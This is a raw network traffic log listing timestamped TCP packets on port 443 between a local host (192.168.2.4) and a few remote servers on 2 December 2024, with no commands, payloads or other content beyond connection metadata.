Dec 2, 2024 05:00:09.849261999 CET	50025	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:09.849277973 CET	443	50025	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:09.849286079 CET	50025	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:09.849291086 CET	443	50025	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:09.851809978 CET	50030	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:09.851835966 CET	443	50030	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:09.851914883 CET	50030	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:09.852060080 CET	50030	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:09.852072001 CET	443	50030	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.135457993 CET	443	50026	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.136260033 CET	50026	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.136280060 CET	443	50026	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.136660099 CET	50026	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.136663914 CET	443	50026	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.176440954 CET	443	50027	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.177122116 CET	50027	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.177135944 CET	443	50027	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.177515984 CET	50027	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.177520037 CET	443	50027	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.472270012 CET	443	50028	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.473048925 CET	50028	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.473062038 CET	443	50028	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.473479986 CET	50028	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.473484993 CET	443	50028	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.589416981 CET	443	50026	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.589436054 CET	443	50026	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.589483023 CET	50026	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.589504004 CET	443	50026	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.589694023 CET	50026	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.589706898 CET	443	50026	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.589714050 CET	50026	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.589835882 CET	443	50026	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.589863062 CET	443	50026	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.589900017 CET	50026	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.591974974 CET	50031	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.592001915 CET	443	50031	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.592075109 CET	50031	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.592222929 CET	50031	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.592241049 CET	443	50031	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.621565104 CET	443	50027	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.621587038 CET	443	50027	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.621658087 CET	50027	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.621668100 CET	443	50027	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.621820927 CET	50027	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.621831894 CET	443	50027	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.621839046 CET	50027	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.621963024 CET	443	50027	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.621989965 CET	443	50027	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.622030020 CET	50027	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.628479004 CET	50032	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.628493071 CET	443	50032	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.628559113 CET	50032	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.628680944 CET	50032	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.628690004 CET	443	50032	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.712661982 CET	443	50005	142.250.181.100	192.168.2.4
Dec 2, 2024 05:00:10.712718964 CET	443	50005	142.250.181.100	192.168.2.4
Dec 2, 2024 05:00:10.712821960 CET	50005	443	192.168.2.4	142.250.181.100
Dec 2, 2024 05:00:10.794559002 CET	443	50029	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.794964075 CET	50029	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.794980049 CET	443	50029	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.795413017 CET	50029	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.795418024 CET	443	50029	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.916718960 CET	443	50028	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.919796944 CET	443	50028	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.919836044 CET	443	50028	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.919848919 CET	50028	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.919891119 CET	50028	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.919943094 CET	50028	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.919954062 CET	443	50028	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.919964075 CET	50028	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.919969082 CET	443	50028	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.923058987 CET	50033	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.923099995 CET	443	50033	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:10.923160076 CET	50033	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.923269987 CET	50033	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:10.923281908 CET	443	50033	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:11.112243891 CET	50005	443	192.168.2.4	142.250.181.100
Dec 2, 2024 05:00:11.112252951 CET	443	50005	142.250.181.100	192.168.2.4
Dec 2, 2024 05:00:11.229877949 CET	443	50029	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:11.232891083 CET	443	50029	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:11.232944965 CET	50029	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:11.232999086 CET	50029	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:11.233007908 CET	443	50029	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:11.233021975 CET	50029	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:11.233026028 CET	443	50029	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:11.235013962 CET	50034	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:11.235024929 CET	443	50034	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:11.235106945 CET	50034	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:11.235215902 CET	50034	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:11.235225916 CET	443	50034	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:11.631392956 CET	443	50030	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:11.632066965 CET	50030	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:11.632082939 CET	443	50030	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:11.632489920 CET	50030	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:11.632493973 CET	443	50030	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.076808929 CET	443	50030	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.079921961 CET	443	50030	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.079962015 CET	50030	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.079962969 CET	443	50030	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.080008030 CET	50030	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.080147982 CET	50030	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.080163002 CET	443	50030	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.080173016 CET	50030	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.080184937 CET	443	50030	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.083828926 CET	50035	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.083867073 CET	443	50035	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.083919048 CET	50035	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.084218025 CET	50035	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.084229946 CET	443	50035	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.344711065 CET	443	50032	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.345165968 CET	50032	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.345175028 CET	443	50032	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.345575094 CET	50032	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.345578909 CET	443	50032	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.436280012 CET	443	50031	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.436620951 CET	50031	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.436645985 CET	443	50031	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.436970949 CET	50031	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.436978102 CET	443	50031	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.713690996 CET	443	50033	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.714159966 CET	50033	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.714180946 CET	443	50033	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.714587927 CET	50033	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.714591980 CET	443	50033	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.779301882 CET	443	50032	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.782831907 CET	443	50032	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.782870054 CET	443	50032	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.782886982 CET	50032	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.782921076 CET	50032	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.782968998 CET	50032	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.782978058 CET	443	50032	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.782987118 CET	50032	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.782990932 CET	443	50032	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.785366058 CET	50036	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.785382986 CET	443	50036	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.785454988 CET	50036	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.785563946 CET	50036	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.785568953 CET	443	50036	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.890645981 CET	443	50031	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.893800974 CET	443	50031	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.893857956 CET	50031	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.893893957 CET	50031	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.893903017 CET	443	50031	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.893913984 CET	50031	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.893918037 CET	443	50031	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.896213055 CET	50037	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.896243095 CET	443	50037	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:12.896307945 CET	50037	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.896444082 CET	50037	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:12.896457911 CET	443	50037	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:13.028403997 CET	443	50034	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:13.029216051 CET	50034	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:13.029225111 CET	443	50034	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:13.029664040 CET	50034	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:13.029669046 CET	443	50034	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:13.158009052 CET	443	50033	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:13.161624908 CET	443	50033	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:13.161700964 CET	50033	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:13.161741018 CET	50033	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:13.161741972 CET	50033	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:13.161756992 CET	443	50033	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:13.161766052 CET	443	50033	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:13.164467096 CET	50038	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:13.164484978 CET	443	50038	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:13.164566994 CET	50038	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:13.164717913 CET	50038	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:13.164729118 CET	443	50038	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:13.473179102 CET	443	50034	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:13.476526976 CET	443	50034	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:13.476572037 CET	443	50034	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:13.476671934 CET	50034	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:13.476878881 CET	50034	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:13.476886034 CET	443	50034	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:13.476931095 CET	50034	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:13.476936102 CET	443	50034	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:13.479654074 CET	50039	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:13.479681969 CET	443	50039	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:13.479763031 CET	50039	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:13.479928970 CET	50039	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:13.479940891 CET	443	50039	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:13.874453068 CET	443	50035	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:13.874953032 CET	50035	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:13.874979019 CET	443	50035	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:13.875401974 CET	50035	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:13.875406981 CET	443	50035	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:14.318898916 CET	443	50035	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:14.321995020 CET	443	50035	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:14.322067976 CET	50035	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:14.322102070 CET	50035	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:14.322117090 CET	443	50035	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:14.322125912 CET	50035	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:14.322133064 CET	443	50035	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:14.324665070 CET	50040	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:14.324686050 CET	443	50040	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:14.324759007 CET	50040	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:14.324887991 CET	50040	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:14.324901104 CET	443	50040	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:14.634613037 CET	443	50036	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:14.635096073 CET	50036	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:14.635113001 CET	443	50036	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:14.635555029 CET	50036	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:14.635559082 CET	443	50036	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:14.675875902 CET	443	50037	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:14.676208019 CET	50037	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:14.676220894 CET	443	50037	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:14.676549911 CET	50037	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:14.676553965 CET	443	50037	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:14.880664110 CET	443	50038	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:14.881150961 CET	50038	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:14.881170988 CET	443	50038	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:14.881608963 CET	50038	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:14.881614923 CET	443	50038	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.092015028 CET	443	50036	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.095174074 CET	443	50036	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.095226049 CET	443	50036	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.095236063 CET	50036	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.095284939 CET	50036	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.095763922 CET	50036	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.095772028 CET	443	50036	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.095782995 CET	50036	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.095788956 CET	443	50036	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.098336935 CET	50041	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.098361969 CET	443	50041	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.098439932 CET	50041	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.098573923 CET	50041	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.098586082 CET	443	50041	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.122437000 CET	443	50037	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.125592947 CET	443	50037	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.125638008 CET	50037	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.125683069 CET	50037	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.125704050 CET	443	50037	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.125714064 CET	50037	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.125720024 CET	443	50037	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.128038883 CET	50042	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.128057957 CET	443	50042	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.128122091 CET	50042	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.128248930 CET	50042	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.128259897 CET	443	50042	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.264111042 CET	443	50039	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.264462948 CET	50039	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.264472961 CET	443	50039	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.264861107 CET	50039	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.264864922 CET	443	50039	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.315443993 CET	443	50038	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.320852995 CET	443	50038	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.320926905 CET	50038	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.320981979 CET	50038	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.320991039 CET	443	50038	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.321001053 CET	50038	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.321005106 CET	443	50038	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.322995901 CET	50043	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.323008060 CET	443	50043	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.323076010 CET	50043	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.323189020 CET	50043	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.323199034 CET	443	50043	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.708185911 CET	443	50039	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.711380959 CET	443	50039	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.711424112 CET	50039	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.711431980 CET	443	50039	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.711483002 CET	50039	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.711529970 CET	50039	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.711546898 CET	443	50039	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.711559057 CET	50039	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.711564064 CET	443	50039	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.713999033 CET	50044	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.714030981 CET	443	50044	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:15.714108944 CET	50044	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.714229107 CET	50044	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:15.714242935 CET	443	50044	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:16.109416962 CET	443	50040	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:16.109842062 CET	50040	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:16.109858036 CET	443	50040	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:16.110268116 CET	50040	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:16.110272884 CET	443	50040	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:16.553478003 CET	443	50040	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:16.556751013 CET	443	50040	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:16.556817055 CET	50040	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:16.556878090 CET	50040	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:16.556888103 CET	443	50040	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:16.556899071 CET	50040	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:16.556902885 CET	443	50040	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:16.559447050 CET	50045	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:16.559492111 CET	443	50045	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:16.559587955 CET	50045	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:16.559710979 CET	50045	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:16.559726000 CET	443	50045	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:16.907939911 CET	443	50042	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:16.908394098 CET	50042	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:16.908409119 CET	443	50042	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:16.908915043 CET	50042	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:16.908919096 CET	443	50042	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:16.944540024 CET	443	50041	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:16.944900036 CET	50041	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:16.944930077 CET	443	50041	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:16.945255995 CET	50041	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:16.945260048 CET	443	50041	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.105582952 CET	443	50043	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.106020927 CET	50043	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.106039047 CET	443	50043	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.106414080 CET	50043	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.106419086 CET	443	50043	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.352325916 CET	443	50042	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.355446100 CET	443	50042	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.355488062 CET	443	50042	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.355506897 CET	50042	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.355545044 CET	50042	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.355659962 CET	50042	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.355668068 CET	443	50042	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.355675936 CET	50042	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.355679989 CET	443	50042	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.358158112 CET	50046	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.358181953 CET	443	50046	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.358251095 CET	50046	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.358376980 CET	50046	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.358386993 CET	443	50046	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.398571968 CET	443	50041	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.401645899 CET	443	50041	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.401704073 CET	50041	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.401738882 CET	50041	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.401750088 CET	443	50041	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.401758909 CET	50041	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.401762962 CET	443	50041	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.404297113 CET	50047	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.404328108 CET	443	50047	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.404393911 CET	50047	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.404511929 CET	50047	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.404526949 CET	443	50047	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.493926048 CET	443	50044	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.506830931 CET	50044	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.506841898 CET	443	50044	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.507316113 CET	50044	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.507319927 CET	443	50044	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.613074064 CET	443	50043	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.613276005 CET	443	50043	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.613332033 CET	50043	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.613372087 CET	50043	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.613378048 CET	443	50043	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.613388062 CET	50043	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.613390923 CET	443	50043	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.615855932 CET	50048	443	192.168.2.4	13.107.246.63
